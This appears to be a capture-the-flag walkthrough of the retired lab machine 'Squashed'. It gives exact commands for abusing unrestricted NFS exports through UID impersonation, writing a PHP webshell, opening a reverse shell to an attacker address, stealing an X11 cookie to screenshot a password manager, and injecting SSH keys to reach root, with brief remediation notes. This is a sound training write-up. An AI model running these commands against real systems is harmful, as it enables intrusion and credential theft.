Squashed
Summary
I discovered that the server ($TARGET) exported two live Network File System (NFS) shares — the Apache web root and an active user's home directory — to every machine on the internet with no host restriction. By creating local accounts whose numeric IDs matched the remote share owners, I mounted both shares and impersonated their owners without any password.
As the web-service account (UID 2017), a PHP backdoor was written directly into the web root over NFS; Apache immediately served it, giving unauthenticated remote code execution. As the home-directory owner (UID 1001), my read the X11 display-server authentication cookie from ross's NFS-exported home, injected it onto the target via the webshell, and silently captured a screenshot of ross's active desktop session — which showed a KeePassXC password-manager unlock dialog with the master password partially visible.
Iterative image cropping and OCR recovered the full password. I then injected an SSH public key into a second user's account through the writable web root, obtained an SSH shell, and reused the recovered password to switch to root — achieving full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p22,80,111,2049 --script nfs-showmount,nfs-ls,nfs-statfs $TARGETshowmount -e $TARGETFixRestrict NFS exports to specific, authorised IP addresses onlyCritical
Exact commands 4
sudo mount -t nfs -o vers=3,nolock $TARGET:/var/www/html /mnt/pt_squashed_wwwsudo mount -t nfs -o vers=3,nolock $TARGET:/home/ross /mnt/pt_squashed_rosssudo useradd -u 2017 -M -s /usr/sbin/nologin nfsweb 2>/dev/null; sudo useradd -u 1001 -M -s /usr/sbin/nologin nfsross 2>/dev/nullsudo -u '#2017' ls -lan /mnt/pt_squashed_wwwExact commands 3
sudo -u '#2017' sh -c 'printf "%s\n" "<?php system(\$_REQUEST[\"cmd\"]); ?>" > /mnt/pt_squashed_www/.c.php'sudo -u '#2017' ls -lan /mnt/pt_squashed_www/.c.phpcurl -s "http://$TARGET/.c.php?cmd=id"FixRemove the web root from NFS and prevent executable file uploadsCritical
Exact commands 3
curl -s "http://$TARGET/.c.php?cmd=cat+/home/alex/user.txt"nc -lvnp 4444curl -s "http://$TARGET/.c.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/$ATTACKER_IP/4444+0%3E%261%27"Exact commands 2
sudo -u '#1001' base64 -w0 /mnt/pt_squashed_ross/.Xauthoritycurl -s "http://$TARGET/.c.php?cmd=echo+<BASE64_COOKIE>+|+base64+-d+>+/tmp/.Xauthority"FixStop exporting live user home directories over NFSHigh
Exact commands 4
curl -s "http://$TARGET/.c.php?cmd=XAUTHORITY=/tmp/.Xauthority+DISPLAY=:0+xwd+-root+-silent+-out+/var/www/html/shot.xwd"curl -o shot.xwd http://$TARGET/shot.xwdconvert shot.xwd shot.pngconvert shot.png -crop <GEOM> -resize 600% -colorspace Gray -normalize -threshold 50% crop.png && tesseract crop.png stdoutExact commands 3
ssh-keygen -t rsa -b 4096 -f /tmp/squashed_alex_key -N ''curl -s 'http://$TARGET/.c.php?cmd=mkdir+-p+/home/alex/.ssh+%26%26+echo+"<PUBLIC_KEY>"+>>+/home/alex/.ssh/authorized_keys+%26%26+chmod+600+/home/alex/.ssh/authorized_keys'ssh -i /tmp/squashed_alex_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alex@$TARGETExact commands 3
ssh -i /tmp/squashed_alex_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alex@$TARGETprintf '%s\n' "$PASSWORD" | su - rootcat /root/root.txtFixEnforce unique, randomly generated passwords for all privileged accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 111/tcp | rpcbind 2-4 (RPC #100000) |
| 2049/tcp | nfs 3-4 (RPC #100003) |
| 33317/tcp | unknown |
| 38161/tcp | unknown |
| 40681/tcp | unknown |
| 45661/tcp | unknown |